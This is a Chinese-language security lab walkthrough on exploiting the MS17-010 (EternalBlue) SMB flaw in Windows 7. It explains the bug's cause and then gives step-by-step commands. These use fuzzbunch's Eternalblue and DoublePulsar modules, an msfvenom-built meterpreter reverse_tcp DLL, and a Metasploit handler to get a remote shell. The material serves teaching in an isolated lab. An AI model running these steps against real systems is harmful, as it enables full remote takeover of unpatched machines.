永恒之蓝MS17-010
实验概述
Ms17-010漏洞又称永恒之蓝漏洞,自从EternalBlue这个Exploit被影子经纪人公布到互联网上后,就成为了“明星”。在过去的五月中,这个Exploit被多款恶意软件利用。包括肆虐的WannaCryp0t,无文件的勒索软件UIWIX和SMB蠕虫EternalRocks,本实验介绍如何利用ms17-010漏洞对windows7进行攻击。
实验目的
1、了解fuzzbunch 框架的基本操作
2、了解DoublePulsar的作用
3、了解ms17-010漏洞的危害
4、熟练使用metasploit工具生成恶意代码
5、熟练使用metasploit的攻击模块
实验原理
NSA工具集
Shadow Brokers暴露出一份震惊世界的机密文档,其中包含了多个Windows 远程漏洞利用工具,可以覆盖大量的 Windows 服务器,一夜之间所有Windows服务器几乎全线暴露在危险之中,任何人都可以直接下载并远程攻击利用,考虑到国内不少高校、政府、国企甚至还有一些互联网公司还在使用 Windows 服务器,这次事件影响力堪称网络大地震。在工具包中存在fuzzbunch工具,其功能类似于metasploit,功能较为自动化。fb.py 即 fuzzbunch 框架的入口文件,fb.py用于调用各个攻击模块,这些攻击模块有较多专注于 Windows 的SMB 服务。fuzzbunch 支持自动调用 script 或手动配置模块,模块的使用趋于自动化,模块之间也会自动调用,用于信息探测等,模块也可以通过xml 文件的修改自行定义参数,常见的配置文件方式以xx.xml以及xx.fb文件存在。
工具中有多个工具利用的是SMB服务中的远程溢出漏洞来进行攻击。SMB服务是Windows系统上运行的最常用协议之一,利用这类漏洞非常容易且成功率高,远程攻击者无需经过任何身份认证,只需向开放了SMB服务的机器发送特制报文即可在目标系统上执行任意命令。当攻击者利用工具成功入侵目标机器后,会在目标机器对应的SMB端口植入一个名为DoublePulsar的后门程序,大部分的漏洞发生在Windows内核对协议处理的过程中,一旦后门被植入,攻击者就就可以毫无阻碍的向目标机器植入dll或者shellcode,植入的任意程序或者代码将以系统最高权限运行,系统被完全控制。
在exploits文件夹中中包含了丰富的漏洞利用工具,可影响windows多个平台
如下几个漏洞:
Easybee 1.0.1 Mdaemon漏洞
Easypi 3.1.0 IBM Lotus漏洞
Eclipsedwing 1.5.2 MS08–067
Educatedscholar 1.0.0 MS09–050
Emeraldthread 3.0.0 MS10–061
Emphasismine 3.4.0 IBM Lotus Domino漏洞
Englishmansdentist 1.2.0 OUTLOOK EXCHANGE漏洞
Erraticgopher 1.0.1 SMB漏洞
Eskimoroll 1.1.1 MS14–068
Esteemaudit2.1.0 RDP漏洞
Eternalromance1.4.0 SMBv1 漏洞
Eternalsynergy 1.0.1 SMB漏洞
Ewokfrenzy 2.0.0 Domino漏洞
Explodingcan 2.0.2 IIS漏洞利用工具
Zippybeer 1.0.2 域控漏洞
Special 文件夹中存放着特殊的利用模块
如下几个漏洞:
Eternalblue 2.2.0 SMB漏洞 MS17–010
Eternalchampion 2.0.0 SMB漏洞 造成信息泄露 CVE-2017–0146CVE-2017–0147
MS17-010漏洞
受影响系统:
Microsoft Windows XP
Microsoft Windows Vista
Microsoft Windows 7
Microsoft Windows 8.1
Microsoft Windows 10
Microsoft Windows Server 2003
Microsoft Windows Server 2008 R2 SP1
Microsoft Windows Server 2008 SP2
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
漏洞成因:
在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:
1.srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
2.因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
3.因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
漏洞危害:
EternalBlue是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码
漏洞利用条件:靶机需要开放445端口
实验环境
虚拟机:kali linux(攻击机)、windows server 2003(攻击机)、windows 7(靶机)
工具:fuzzbunch(路径:c:\tools\windows)、metasploit、putty(路径:c:\tools\putty)
win7ip:
kali 虚拟机ip:
windows 2003 ip 地址:
注意:靶机需要开放445端口
实验步骤
1、进入到fuzzbunch工具目录:
2、使用命令“python fb.py”进入fuzzbunch工作界面:
3、设置攻击目标信息
操作:“设置靶机IP”->“设置攻击机IP”->“输入no”->“输入日志目录log_dirs”
4、新建攻击项目
操作:“Project处输入1”->“输入test”
5、使用命令“use Eternalblue”选择永恒之蓝漏洞模块
6、默认选项一直回车
7、直到target的时候输入“1”选择win7系统如,到mod的时候输入“1”选择FB模式
8、使用默认值回车,最后配置的结果如图:
9、在Execute Plugin选择yes开始攻击
10、漏洞利用成功
11、使用kali虚拟机生成恶意dll
操作:“打开终端”->“msfvenom -p windows/x64/meterpreter/revers_tcp lhost=192.168.10.10(kali攻击机IP) lport=5555 -f dll > a.dll”->“ls”
12、在win2003攻击机上下载a.dll
操作:“开始”->“运行”->“cmd”->“cd c:\tools\putty”->“pscp root@192.168.10.10(kali攻击机ip):/root/a.dll c:\tools”
13、在kali攻击机上使用handler模块
操作:“打开终端”->“msfconsole”->“use exploit/multi/handler”->“set paylaod windows/x64/meterpreter/reverse_tcp”->“set lhost 192.168.10.10(kali攻击机IP)”->“set lport 5555”-> “show options”
注意payload和恶意的dll的payload要一样
14、使用“exploit”开始监听
15、windows2003攻击机上使用命令“use Doublepulsar”打开Doublepulsar模块
16、在targetip和targetport选择默认回车,在protocol处输入0使用445端口,在architecture处输入1选择64位系统
17、在funciton处输入2选择植入恶意dll文件,在dllpaylaod处输入“c:\tools\a.dll”
18、接下来的参数选择默认值直接回车
19、配置完成后
20、在execute plugin处输入“yes”,恶意dll注入成功
21、在kali攻击机上已经生成了会话,使用“getuid”查看用户权限,使用“sysinfo”输出系统信息
22、使用命令“shell”获取windows 7的shell
思考总结
本实验使用fuzzbunch和metasploit工具对ms17-010漏洞进行利用,先使用metasploit生成恶意dll,windows 2003上下载恶意dll,使用fuzzbunch对windows7 x64系统进行恶意dll的注入,最后通过metasploit控制台获取到windows 7 x64的管理员权限